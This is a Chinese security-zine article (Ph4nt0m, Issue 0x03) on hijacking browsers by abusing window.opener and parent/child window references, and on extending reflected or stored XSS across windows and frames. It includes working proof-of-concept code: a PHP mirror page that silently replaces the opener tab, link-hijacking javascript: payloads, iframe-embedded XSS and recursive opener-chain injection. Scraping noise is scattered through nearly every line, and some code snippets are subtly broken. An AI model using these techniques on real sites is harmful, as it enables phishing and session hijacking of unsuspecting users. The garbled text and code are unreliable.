==Ph4nt0m Security Team==4 q, T3 s/ p3 R: D* H% c3 F1 u
P" Q* a' G: V8 R) H Issue 0x03, Phile #0x05 of 0x078 x/ q! a1 T8 e1 X. u" A
0 w; F2 u' r8 `7 n
! ]& z* n; ]# y, Q
|=---------------------------------------------------------------------------=|7 @$ O5 L+ ?2 Z
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
# h+ C- x+ F) |. i1 y|=---------------------------------------------------------------------------=|
4 H; d$ C- G6 Y5 K' i. j5 M|=---------------------------------------------------------------------------=|4 D2 i- K) P5 `+ R5 C2 } q$ j" f
|=------------------------=[ By rayh4c ]=---------------------------=|
; f: x) v8 d, z. z4 b4 K9 L* E|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|* Q5 w- z% F1 {. @
|=---------------------------------------------------------------------------=|
! F8 K6 ?1 z! G5 K# W. a: [1 r' s8 O
3 n8 L/ d) ]2 @3 F s. ]+ f& k2 {' `( k' F
[目录]
5 f _- U* x7 ^2 y; z
9 `4 m0 o$ b! Y6 z& k. M1. 前言
; n0 x& Y9 I1 }# M. k) B2. 同源策略简叙
7 u$ h3 [7 A4 s9 Y* k" Y3. 理解window对象的同源策略
{( \0 Y* S- s" O* U" q" W# z4. 窗口引用功能中的同源策略漏洞2 |; {5 L1 @+ D# l
4.1 父窗口引用子窗口的同源策略问题6 L6 l; i$ |7 J* z* N$ Q
4.2 子窗口引用父窗口的同源策略问题: b ?) {9 y8 l/ [0 M
5. 利用窗口引用漏洞劫持浏览器$ q: |, Z! E6 Q4 J4 S9 X
6. 利用XSS漏洞劫持浏览器' g, Q$ J( Z3 p8 v* v, \) p. ?
6.1 正向跨窗口劫持
* u' F% R% a) i* k) v$ v8 ~ T U 6.2 反向跨窗口劫持! x, U* U& e. V! ?3 P
6.3 极度危险的跨框架窗口引用劫持
' Y/ G- B/ k; \6 @ 6.4 极度危险的正反向跨窗口递归劫持
; c* A, l" G8 M# E& U% h' b% c; q! x 6.5 完全控制浏览器
" h6 e+ O+ v2 | A3 L5 l7. 后记
2 D( D+ J+ x. X" t2 O3 x8. 参考% g7 @) |5 G! X8 n! W& N" C. J/ [
+ l2 X) {5 k8 d
0 i% r2 Q) ]4 R一、前言: {/ I J- j+ Q4 K
! H9 ]& C* E% L+ H5 c1 a
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
2 J: f# r& q3 J6 W- m% i5 m友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session3 X. k, ^2 ^# [6 L; P" N# G) y
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
7 ~9 O% M7 d; c. [5 N条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。" M% b& `/ y. T f
7 f# ~$ V K0 A; o6 q w0 y
9 J5 u7 B) A% K( r! Y8 @. T二、同源策略简叙
0 A. ]7 u! D8 Q x: `
5 P/ R1 T* ^' M4 `% t% L# m 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以. x \- `) P3 [, y# E3 [
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
+ @+ {, |1 |3 I曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木, B( {% P3 \. A
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个# Y: C6 P% a8 N$ v8 }
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。5 u8 V+ `* J: Q/ o- p
* K9 M& ~" Q8 X5 ^$ {
8 u: E+ K. i. F# j/ b1 s# h! f三、理解window对象的同源策略5 s* K, Z8 ~% q1 N
, R1 a y& I) n4 @- L: n
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对, i0 y+ p5 `) y/ l3 r5 ?4 u
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:% p- ]: E* z2 e3 }; F; r
* X( |' n" X- b/ [/ Q2 d- K. E5 n
--code-------------------------------------------------------------------------
4 d7 k; |3 @* c, l<script language="javascript">
( X3 S" }' @! m% e# F1 K+ afor(p in window) document.write(p+"<br>");
* D! H: a5 u8 ^8 }$ l</script>
4 f3 W* R9 S; t" i-------------------------------------------------------------------------------
2 X8 T# r5 T: G, J0 n7 |$ p4 Y4 r
9 S$ q# `' `. Z( h5 n$ C 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方- E6 m+ ?# r% R6 J0 g: Q6 E
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
5 h6 s7 S: Z6 o7 p: ^这些属性和方法就必须遵循同源策略。( G* _5 U0 }9 e3 F. ^
- k' t* {% K# s/ A& ~ 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那6 L. n( X/ X/ R- r& `/ k( X+ Q' D
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须4 Q! K" U7 \; a: U/ U0 F* o
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这2 J, F/ q% c+ i# W1 L
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
6 `8 b/ C8 }# c, i& @0 j值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
4 s7 o7 B. m# Z属性并没有被拒绝访问。
4 d, l( s: R% G* z! M
! y. N. N5 H: s2 ^% \--demo.html--------------------------------------------------------------------
) l7 l$ t- Q( l<script language="javascript">
: r4 h3 Z" o* L& i$ tfunction allPrpos(obj) { `& Y8 |$ x1 g6 j
var props = "<table><tr><td>名称</td><td>值</td>";
& p' `; Z" B6 m* j for(var p in obj){
a P, F s$ K5 v( O2 A/ Y if(typeof(obj[p])=="function"){ g/ b$ H" G* r* R% m
obj[p](); * }6 k! B; g% v: j" i) A, Z
}else{ % U6 O- |. R9 ]
try
, }' `8 k0 m3 |- M. i {
; L4 m* ]7 Q+ U* Y* Y$ n props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; + W6 H% c8 D4 P
}
9 h! A5 x3 `6 O5 _, q9 t catch (ex) ) }4 _0 ~& \* v4 k
{
; K: c* t: _& I& c9 P+ P
2 d, t5 P7 y0 S9 }$ j props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
1 S2 {4 ?( `5 V P- o }
+ p$ H! O2 F3 a" H2 M" g: | $ w- k! `; A" C0 |
}
% C4 @8 R6 D# j }
9 m3 j( E% F' E7 _# l1 I
3 V; X# y9 n' O6 C% d/ q- S6 O document.write(props+"</table>");
6 ]) b; ~$ U1 m7 H}
0 @- R8 [* g. i7 Q( u
; T }2 H2 ~) x% hfunction createWin() {6 {) u3 x0 y/ c' c0 c+ l" F+ y
newWin = window.open ("http://www.google.com");
4 U3 w: D, }9 v$ m3 Y setTimeout(function(){allPrpos(newWin)},2000);
. ^9 l# ?1 J9 J7 X' h- Z4 I} $ ?! W# l* \& y: P2 N" L7 e
) C+ G- i8 t q0 \1 F9 f
</script> 6 \8 ~& W6 \+ v" C2 J% W
: D! v8 x1 ?- q! [. k8 z; ]<button onclick='createWin()'>创建一个非同源子窗口测试</button>
* ^) P) Y" P0 N$ ?7 L$ ]" H-------------------------------------------------------------------------------* B2 R- S' J0 E1 g+ a2 K
( m" b' { y( k% k' K4 @7 z4 M, @+ x" k% ^: q
四、窗口引用功能中的同源策略漏洞7 c- G( Z z6 r8 _. K3 V; r+ M
. p$ p& c+ G+ Q* I4.1 父窗口引用子窗口的同源策略问题. y; K3 v, p- v+ [( n6 O
( k/ m9 l. _3 ?5 f8 m
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,$ A" I# ]/ W7 J% [/ M" z$ x
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
+ w/ N/ z$ l" ?! U* x& D' N浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
+ a0 e* X. ^8 P) ^. e# P# L行测试,会发现父窗口可以控制非同源子窗口location属性值。
7 y6 C0 p' J+ r
. ^: T. o5 ~- {+ z: A0 C- U--vul1.html--------------------------------------------------------------------( l$ w, s) r7 o
<script language="javascript">
% q1 J; S& V1 T) kfunction createWin() {
: m5 W% C/ e/ n6 N o6 i0 K* a1 S newWin = window.open ("http://www.google.com"); # C, X, @; j* l8 p2 B& U
setTimeout(function(){newWin.location="http://www.80sec.com"},2000); 2 ^+ F/ B0 M/ [- N8 C L- K0 q
}
" [$ m$ |3 Q' K4 X. D& Y</script>
" i S9 Z+ |8 p
/ M4 O+ Y( j6 x9 R) Q<button onclick='createWin()'>创建一个非同源子窗口测试</button>
@3 R9 ?7 i! e. i-------------------------------------------------------------------------------
+ r/ A& c: v8 X0 N$ }" A: Y; P S2 c
! A3 m" h: H" }2 a4.2 子窗口引用父窗口的同源策略问题
2 U9 S% H# e; t# T$ M! Y* t9 D9 F3 q- d, A% {& P7 V; P' c
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使" b. {0 p0 N& c) `' H* T+ K8 l2 z
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们6 U0 b3 @+ i5 h& [. ^
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定4 H2 E- n8 W1 J( C9 T7 q9 m+ T+ D
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
( w; p0 h1 Q( G" W `& c) M$ f' f8 W0 g# G% P, Y
--code-------------------------------------------------------------------------+ ^, O% n- q) k/ F6 L
* L6 y$ E3 D3 w
javascript:window.opener.location = "http://www.80sec.com";void(0);
# D2 A/ P7 ^- W2 ^4 C
. K0 B* p. V9 H-------------------------------------------------------------------------------
7 v# t" }$ m! a( d5 K; t
! k5 i' ?) e. b( u4 A+ u0 p1 [9 X% r! k7 r7 v% |- G2 g
五、利用窗口引用漏洞劫持浏览器
$ h& m5 a, ^7 C8 N- f; {9 j3 p- m7 V+ S6 E) R. I3 n: L+ t
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
' Q' B& G! x# y$ b3 R0 v窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
) [+ c# V" d: H2 w% C) V" C么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。; y7 v6 z! C; s) t: x+ h
4 w1 Q& ? n) B 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
) p$ Y" l. s5 X. G# P: F$ |生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或/ z2 [/ q& L8 G. N! L$ b& t
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
) O. w/ }, L7 ]+ ~2 }) C% ^后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下! S/ U; X2 _- Z8 u( p: H6 Y
会产生什么可怕的后果。2 \2 q! b" d! h4 e' l
$ L) A- Y0 W" ~; X6 O
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我4 d5 m& g' Z% Q, ^% w3 {
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php* ]: c% i. x1 Y
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时0 o3 e2 ]$ S }- [6 n ] W
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可! K0 [# t m6 q9 i- p
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
- `: L8 Q# |5 Q' d* `& q- M! O* z( ~: S' @4 R
--hjk_ref.php------------------------------------------------------------------
7 Z5 z7 _* U+ t* g% G/ N, @<?php9 c& Y& u7 C0 h, {0 C+ ~$ T
if (array_key_exists("HTTP_REFERER", $_SERVER)) {1 I/ ^0 s( R6 ]' `1 F
$Url_Mirror = $_SERVER["HTTP_REFERER"];( Z8 j0 T) z3 w9 g
}
8 r" Z4 h) x: E8 @; L% Q: cif(isset ($_GET['ref'])) {
/ {. F7 N# G! h- e& @0 recho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
$ v' ], W7 V( _1 r$ Y( z8 |}
) _/ M& H) m* u0 L& z# f?>0 [& J U0 G @$ s6 C) A' N# t
% ?+ u1 n2 t6 a7 v
<script language="javascript">
* o6 M8 Y/ A" MsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); ) l. J2 I# x' E* v
</script>/ t7 F, A; S$ G4 U7 k
-------------------------------------------------------------------------------
2 m1 t/ r! [/ l1 `: t
' V7 ?* T/ K1 m3 A 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
7 o7 x9 B- ]' y0 ?1 T
7 _8 [ ]* k3 o& x% z- t' X0 a
, u g+ I. C5 Y- ^六、利用XSS漏洞劫持浏览器. O3 _* ?6 h0 v$ H& X
% e% [5 g7 }* N- M: P1 {7 G
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
8 `) H+ p( T4 C4 Y持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后+ c d: ?- V+ V- p2 j Y( r
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
7 _% K0 f' K8 I# V6 G3 Q* _讨论跨站师的终极技巧:2 |8 A8 Y# O& p! [: A
2 g9 o, Y0 t* K$ p0 I6 g H/ R4 e! {1 Q
6.1 正向跨窗口劫持
2 o9 l) \; L& b5 g+ _/ S4 u% Z# W# q
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛# n1 P& t- A# v" g1 Z
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链: l. ?$ G5 X7 P, v
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
9 k7 p/ A4 K# Z5 j5 J9 ]3 a框脚本。
; k( d' N+ d7 E9 `& Q5 [7 x
g; I: I H4 x6 a$ H! R--hijack_open.js---------------------------------------------------------------- c w' O' S; {5 v7 I7 h
$ b6 T. `9 V6 n* }/ ?
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
. P9 } O, n9 m! l" _: e: }3 J4 X) l6 w
-------------------------------------------------------------------------------
, o# Z8 p( q# @& f
1 B# E; g! Q: z. R' B/ M" M$ ]* b8 D' p8 w# f! y! Z
6.2 反向跨窗口劫持% f* j& G1 D2 i( H
% s5 c+ x Y, e6 @5 S 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
! s+ {5 u b2 ^% {$ {* A码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
L, V) _5 t; ^/ Y框脚本。9 r8 E" S1 f' B$ ~; H4 i
6 ]" k: }9 o0 Y; ]' L* U5 ^/ z# j--hijack_opener.js-------------------------------------------------------------1 b7 N4 a0 I+ v- b5 P: e4 Q
! G+ A/ p7 Q0 x& Z
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);% S' J4 ^* k! q* P" n. |* M
" X3 y: W1 j. w' _+ F-------------------------------------------------------------------------------
- q/ ~2 i9 ~7 v9 b/ U" v: ~4 a8 v; }5 O5 _. L0 p) i8 o- e
2 ^8 w, n: y4 e3 t
6.3 极度危险的跨框架窗口引用劫持1 r* \1 l! I1 p
4 j d. w% f) ]* ~& R
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
9 `5 |8 ]1 d3 P+ y3 }1 ?6 }可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就5 u1 K: n. l; E" s. g
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
5 @# K; d( O7 \$ F! p3 ^; K- t非持久型的XSS,如下:
; y# o/ h8 D" y1 B: P- w- f
5 o3 J. ?/ R, S% }8 m<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>0 Q; ?) S+ y8 V
( q) L* W. ]' Y. A9 g4 d 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
" J! m7 g* o( @$ B, o( w! R注入脚本。
& o3 `% K, p4 B ~1 [: J0 o
# W% g5 ]5 n0 [1 Y/ ]5 ]--hijack_frame_opener.js-------------------------------------------------------2 Q8 B* \' Z4 Z2 J' K
<script>
( c o8 K0 S( e5 K, Ywindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";& M+ q/ W7 Q. d
</script>" \# @* G& u" E
-------------------------------------------------------------------------------
; t3 I- u% m: [& B, n; e/ l
3 w T0 r+ s3 U2 S
* J) w, L8 |% N- O" m6.4 极度危险的正反向跨窗口递归劫持* w9 M f/ b% ?8 B
+ i! @/ Z$ h% \ j y
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
! r! N0 G5 Q, o3 V的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
' g; N: X% E. P# j' ~* S异常处理规避之间跨域页面的访问异常,代码如下:
) v5 m7 |" x9 O
6 V( |. x* v3 o, ?- F1 f$ i--code-------------------------------------------------------------------------
# C' L& j7 X; Q! O( h% A, G9 T9 A8 {/ Z- J) i4 W
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
: ~% A2 ?. k" l5 a3 C; }
# A) ~$ X( ^ D-------------------------------------------------------------------------------
1 B3 [' l; e( q( z1 y8 i0 \ N/ R) r/ w x. p
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可$ L. f! C: w/ u6 A9 M; [, }
以劫持B域之前的A域页面,从而实现“隔空打击”。
! G9 e! ]- u4 ?& ?! P
6 z: t P0 `4 l0 E3 Z$ U% t3 q 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
/ t8 @ U$ ^) r! s8 h* n执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
3 g4 p9 F, h$ I; x2 z1 q& L9 h+ [6 e2 o9 v0 b/ P, @0 t5 G
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
x& S. Q& N: C' W* M3 G+ }+ _) `& ^+ i* |9 v: K4 m( {8 P
8 x+ t! d/ f# b: _6.5 完全控制浏览器/ c( h, W7 ?& K2 Z# t
) G# U- u2 R3 o/ N' y! b! y# a
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则' a6 K1 V! M; D4 a; J) V- g
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
7 T/ g% L4 X0 T$ d5 b漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
8 r- [5 y9 s/ [2 f# I0 S而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
5 E; F8 p5 s3 \. I" U1 h# B, R" n4 i列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站5 E/ _ h# E3 ^4 ]5 u0 u
师的终极目标 - 完全控制浏览器。
9 D/ E" r' V- p8 Y( e; x- o# b$ h: E3 w3 P0 e5 E
; }- t; D; R- \$ x1 {9 T
七、后记/ u3 i; o* L0 i. O5 Z: {
, N/ K/ F7 m8 x' }. k) }* B
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
: u+ r! F% v& T, n8 e0 @与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
" b) r, v; ^0 @& X, H1 d过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
s7 s$ A! q; e0 r. j8 y, }, k
# r$ u' ^3 R- W, x A3 I$ ^; r) U八、参考
+ r! H: r' G) x2 ?
& ^6 b/ \0 `) L6 ~+ f/ `5 @1. http://en.wikipedia.org/wiki/Same_origin_policy. p' f4 K/ ?& h
2. http://code.google.com/p/browser ... licy_for_DOM_access
1 u. a. o) }. N2 R3. http://www.w3.org/TR/Window/5 \3 G2 g3 ?2 g) _ i% ?
4. http://www.80sec.com/release/browser-hijacking.txt
7 m; t; V( z: P' M; w3 ]. }1 S7 Y5. http://www.80sec.com/all-browser-security-alert.html
( u2 F1 r* Q0 f# G6. http://www.80sec.com/ms08-058-attacks-google.html2 L; Y& K1 t- _+ C5 K
5 }; M5 `6 Y9 D* X" V6 T-EOF- |